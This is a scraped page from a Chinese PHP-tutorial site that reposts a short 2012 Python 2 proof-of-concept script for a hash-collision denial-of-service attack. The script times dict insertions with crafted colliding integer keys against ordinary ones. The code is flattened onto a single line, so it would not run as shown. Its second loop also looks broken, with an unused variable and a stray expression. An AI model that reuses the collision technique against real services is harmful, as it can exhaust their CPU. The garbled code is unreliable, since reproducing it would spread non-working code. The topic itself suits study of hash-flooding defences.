来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] #/usr/bin/python# to attack hash collision in python# code by joeda@hi.baidu.com 2012-01-05# to save as atk.py# python atk.py 40000# .# 42.530313015# *# 0.087562084198import ......
#/usr/bin/python
# to attack hash collision in python # code by joeda@hi.baidu.com 2012-01-05 # to save as atk.py # python atk.py 40000 # . # 42.530313015 # * # 0.087562084198 import time, sys MAX = 100000 try: MAX = int( sys.argv[1] ) except: pass t0= time.time() k={} for i in range(MAX): k[ i*2*2**31-i ] = 0 print '.' print time.time() - t0 t0=time.time() kp={} for i in range( MAX ): i*2*2**31 k[i] = 0 print '*' print time.time() - t0 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com